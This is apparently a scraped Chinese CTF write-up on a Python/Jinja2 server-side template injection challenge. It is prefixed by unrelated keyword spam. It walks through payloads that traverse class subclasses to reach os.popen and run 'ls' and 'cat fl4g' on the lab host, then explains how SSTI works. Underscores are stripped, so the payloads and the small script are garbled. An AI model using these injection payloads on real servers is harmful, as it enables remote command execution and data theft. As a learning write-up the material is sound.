网站用什么开发,搭建网站全过程,阳江网红店有哪些,wordpress 音频播放器这是题目#xff0c;从题目上看是一个python模板注入类型的题目。 首先测试是否存在模板注入漏洞#xff0c;构造http://61.147.171.105:57423/{{config}} 得到 说明存在模板注入漏洞#xff0c;继续注入 构造http://61.147.171.105:57423/{{‘’.class.mro}}: 得到 再构造… 这是题目从题目上看是一个python模板注入类型的题目。 首先测试是否存在模板注入漏洞构造http://61.147.171.105:57423/{{config}} 得到 说明存在模板注入漏洞继续注入 构造http://61.147.171.105:57423/{{‘’.class.mro}}: 得到 再构造http://61.147.171.105:57423/{{‘’.class.mro[2].subclasses()}}: 编写脚本找到类索引
text type type, type weakref, type weakcallableproxy, type weakproxy, type int, type basestring, type bytearray, type list, type NoneType, type NotImplementedType, type traceback, type super, type xrange, type dict, type set, type slice, type staticmethod, type complex, type float, type buffer, type long, type frozenset, type property, type memoryview, type tuple, type enumerate, type reversed, type code, type frame, type builtin_function_or_method, type instancemethod, type function, type classobj, type dictproxy, type generator, type getset_descriptor, type wrapper_descriptor, type instance, type ellipsis, type member_descriptor, type file, type PyCapsule, type cell, type callable-iterator, type iterator, type sys.long_info, type sys.float_info, type EncodingMap, type fieldnameiterator, type formatteriterator, type sys.version_info, type sys.flags, type exceptions.BaseException, type module, type imp.NullImporter, type zipimport.zipimporter, type posix.stat_result, type posix.statvfs_result, class warnings.WarningMessage, class warnings.catch_warnings, class _weakrefset._IterationGuard, class _weakrefset.WeakSet, class _abcoll.Hashable, type classmethod, class _abcoll.Iterable, class _abcoll.Sized, class _abcoll.Container, class _abcoll.Callable, type dict_keys, type dict_items, type dict_values, class site._Printernew_text text.split(,)
index 0
for i in new_text:index 1
print(index - 1) #数组索引从0开始运行得到索引值为71 再构造http://61.147.171.105:57423/{{‘’.class.mro[2].subclasses()[71].init.globals[‘os’].popen(‘ls’).read()}} 得到 最后构造http://61.147.171.105:57423/{{‘’.class.mro[2].subclasses()[71].init.globals[‘os’].popen(‘cat fl4g’).read()}} 得到flag 总结本质上就是通过模板注入代码获取所需信息。
知识点 1.SSTIServer-Side Template Injection是一种发生在服务器端模板中的漏洞。当应用程序接受用户输入并将其直接传递到模板引擎中进行解析时如果未对用户输入进行充分的验证和过滤攻击者可以通过构造恶意的输入来注入模板代码导致服务器端模板引擎执行恶意代码。
SSTI漏洞利用基本流程 获取当前类 - 获取其object基类 - 获取所有子类 - 获取可执行shell命令的子类 - 获取可执行shell命令的方法 - 执行shell命令.
SSTI漏洞原理 服务端接收攻击者的恶意输入以后未经任何处理就将其作为 Web 应用模板内容的一部分模板引擎在进行目标编译渲染的过程中执行了攻击者插入的可以破坏模板的语句从而达到攻击者的目的。
渲染函数在渲染的时候往往对用户输入的变量不做渲染即{{}}在Jinja2中作为变量包裹标识符Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{2*2}}会被解析成4。因此才有了现在的模板注入漏洞。往往变量我们使用{{恶意代码}}。正因为{{}}包裹的东西会被解析因此我们就可以实现类似于SQL注入的漏洞.
实际上就是我们传到后台的数据会被后台获取数据并执行。本质上是后台代码解析前端传过来的数据的时候没有进行处理导致我们用{{}}传进来的恶意命令被动态渲染从而产生了这样的问题。 class #返回type类型查看对象的类型 bases #返回tuple类型列出该类的基类 mro #返回tuple类型给出解析方法调用的顺序 subclasses() #返回内建方法builtin_function_or_method获取一个类的子类 globals #返回dict类型对函数进行操作获取当前空间下能使用的模块、方法、变量, init 类的初始化方法 popen函数是用来执行系统命令的